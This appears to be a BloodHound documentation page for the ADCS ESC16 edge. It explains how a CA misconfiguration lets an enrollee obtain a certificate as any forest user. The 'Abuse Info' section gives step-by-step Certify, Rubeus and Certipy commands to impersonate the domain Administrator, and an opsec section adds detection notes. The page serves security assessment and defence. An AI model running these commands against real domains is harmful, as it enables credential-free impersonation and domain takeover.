> ## Documentation Index
> Fetch the complete documentation index at: https://bloodhound.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.

# ADCSESC16

> The principal has the privileges to perform the ADCS ESC16 attack against the target domain.

![Applies to BloodHound Enterprise and CE](https://mintcdn.com/specterops/tTIczgde9H07oLXf/assets/enterprise-AND-community-edition-pill-tag.svg?fit=max\&auto=format\&n=tTIczgde9H07oLXf\&q=85\&s=ad49a576589f4d2a8081df77d07fdf56)

The principal has the privileges to perform the ADCS ESC16 attack against the target domain.

The principal has permission to enroll on one or more certificate templates that enable domain authentication. They also have enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication in the forest, and chains up to a root CA for the forest. The enterprise CA is configured with the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag allowing enrollees to specify a Subject Alternate Name (SAN) identifying another principal during certificate enrollment of any published certificate template. Also, the CA has the SID security extension disabled. This setup allows an attacker to obtain a malicious certificate as any AD forest user or computer and use it for authentication and impersonation without knowing their credentials.

## Abuse Info

An attacker may perform this attack in the following steps:

### Windows

**1. Request enrollment in the affected template**

Use Certify (2.0) to request enrollment in the affected template, specifying the affected enterprise CA and target principal to impersonate:

```cmd theme={null}
Certify.exe request --ca rootdomaindc.forestroot.com\forestroot-RootDomainDC-CA --template User --upn Administrator --sid-url S-1-5-21-976219687-1556195986-4104514715-500
```

If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their `mail` or `dNSHostName` attribute set, which is required by the certificate template. The `mail` attribute can be set on both user and computer objects but the `dNSHostName` attribute can only be set on computer objects. Computers have validated write permission to their own `dNSHostName` attribute by default, but neither users nor computers can write to their own `mail` attribute by default.

**2. Request a ticket granting ticket**

Use Rubeus to request a ticket granting ticket (TGT) from the domain, specifying the target identity to impersonate and the certificate obtained in Step 1:

```cmd theme={null}
Rubeus.exe asktgt /certificate:<base64 cert> /user:Administrator /domain:forestroot.com /ptt
```

**3. Verify the TGT (optional)**

Optionally verify the TGT by listing it with the `klist` command:

```cmd theme={null}
klist
```

### Linux

**1. Request enrollment in the affected template**

Use Certipy to request enrollment in the affected template, specifying the affected enterprise CA and target principal to impersonate:

```bash theme={null}
certipy req \
  -u 'attacker@corp.local' -p 'Passw0rd!' \
  -dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'User' \
  -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
```

If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their `mail` or `dNSHostName` attribute set, which is required by the certificate template. The `mail` attribute can be set on both user and computer objects but the `dNSHostName` attribute can only be set on computer objects. Computers have validated write permission to their own `dNSHostName` attribute by default, but neither users nor computers can write to their own `mail` attribute by default.

**2. Request a ticket granting ticket**

Request a ticket granting ticket (TGT) from the domain, specifying the certificate created in Step 1 and the IP of a domain controller:

```bash theme={null}
certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128
```

If the DC enforces strong certificate mapping, include the target principal's SID using the `-sid` parameter shown above. Use Certipy 5 or later for SAN URL SID mapping support.

## Opsec Considerations

When the affected certificate authority issues the certificate to the attacker, it will retain a local copy of that certificate in its issued certificates store. Defenders may analyze those issued certificates to identify illegitimately issued certificates and identify the principal that requested the certificate, as well as the target identity the attacker is attempting to impersonate.

## Edge Schema

Source: [User](https://bloodhound.specterops.io/resources/nodes/user.md), [Group](https://bloodhound.specterops.io/resources/nodes/group.md), [Computer](https://bloodhound.specterops.io/resources/nodes/computer.md)\
Destination: [Domain](https://bloodhound.specterops.io/resources/nodes/domain.md)\
Traversable: ✅

## References

* [ESC16: Security Extension Disabled on CA (Globally)](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)
* [ADCS Attack Paths in BloodHound — Part 3](https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac)
* [Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
* [Certipy 4.0](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
* [Domain Escalation Edit Attributes](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#editf_attributesubjectaltname2-esc6)
* [Preview of SAN URI for Certificate Strong Mapping for KB5014754](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/ba-p/3789785)
